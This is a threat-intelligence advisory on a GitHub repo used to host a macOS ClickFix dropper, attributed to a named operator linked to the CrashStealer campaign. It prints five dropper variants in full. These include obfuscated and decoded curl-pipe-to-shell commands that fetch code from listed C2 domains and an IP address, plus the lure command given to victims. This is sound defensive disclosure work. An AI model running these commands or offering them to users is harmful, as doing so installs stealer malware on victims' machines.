GCVE-110-OSM-2026-7950

Malicious GitHub repo operated by threat actor mgothiclove (GitHub id 165683529, originally created as `zk-call-dev`), the same operator behind the CrashStealer campaign disclosed by Jamf on 2026-07-13 (companion repo `mgothiclove/pkeys` is OSM threat b1a3d1e8-2cb9-427c-9c88-8bb6718a2bee). This repo is a macOS ClickFix bait host: all 10 commits target a single `runtime.cfg` file that evolved through five obfuscated curl-pipe-shell dropper variants pointing at three C2 endpoints before being sanitized on 2026-06-29 to just a `#!/bin/zsh` shebang. Full malicious history remains recoverable via `git log --all`. Delivery is out-of-band social engineering steering victims to `curl https://raw.githubusercontent.com/mgothiclove/update/main/runtime.cfg | zsh`. === ROLE: macOS ClickFix bait host / shell dropper (companion to CrashStealer) === Drop chain (runtime.cfg variants in commit order): 1. Base64-wrapped C2 URL: curl -kfsSL "$(base64 -d <<< aHR0cDovL2J1cmVhaS5jb20vY3VybC8wNWI1NzI5NmVjYmIwYzFhNTFkOTFkODA0YzM0NzkyMzZiOGUzOTU5ODdjNTAwZWY5NDcwZjc3YzdmMDU0YTNj)" | zsh Decoded URL: http://bureai.com/curl/05b57296ecbb0c1a51d91d804c3479236b8e395987c500ef9470f77c7f054a3c 2. Plain-text: curl -kfsSL http://bureai.com/curl/05b57296... | zsh 3. Gzip+base64 blob decoding to: nohup curl -s "https://ii83upi9kh0oibat8zrmh38sfv61uk68qhamtcrtcqlk.pages.dev/AjVzfaVEvk31Yu1LEyLVATQX49H91TEaoNu6cVKRDnGseYT0ExMNJBuzKhDeoCLX8U.aspx" | bash (.pages.dev + .aspx delivery pattern historically associated with BeaverTail; classification unverified for this chain.) 4. Base64-nested direct-IP dropper: echo Y3VybCAtcyBodHRwOi8vMTcyLjk0LjkuMjUwL2QvbmlnaHQ4MzkwMiB8IG5vaHVwIGJhc2ggJg== | base64 -d | bash Decoded: curl -s http://172.94.9.250/d/night83902 | nohup bash & 5. Sanitized to just `#!/bin/zsh` (2026-06-29) - actor-side cleanup; prior payloads still recoverable via git log. Actor persona: - GitHub login `mgothiclove` (id 165683529), originally `zk-call-dev` (provable from noreply email `165683529+zk-call-dev@users.noreply.github.com` in the actor's 2024 impersonation repo `kkj2023/https-github.com-zk-Call-zkp-hmac-communication-python`) - Commit-author email: zk.call.est@gmail.com - Operator time zone: +02:00/+03:00 (Moscow / Eastern Europe) - All commits web-UI-signed (author == committer date, verified via GitHub web-flow key) - no local git client In-file signature strings (unique to this actor - 0 hits elsewhere on GitHub): - `runtime payload v1 direct fetch entropy block` - `runtime payload v2 entropy block secure decode` Family attribution: public feeds tag this chain's C2s (bureai.com, 172.94.9.250) as MacSync / Atomic (AMOS) / osx_atomic (ChainK1ll/Daily_Intel, stamparm/maltrail) - those tags are infrastructure-based, not sample-level, and are unverified. Jamf's disclosure of the sibling CrashStealer chain concludes it is a novel family with no code-sharing to Atomic/MacSync/Phexia. Treat this chain's family tag as unresolved until someone reverses its stage-4 binary.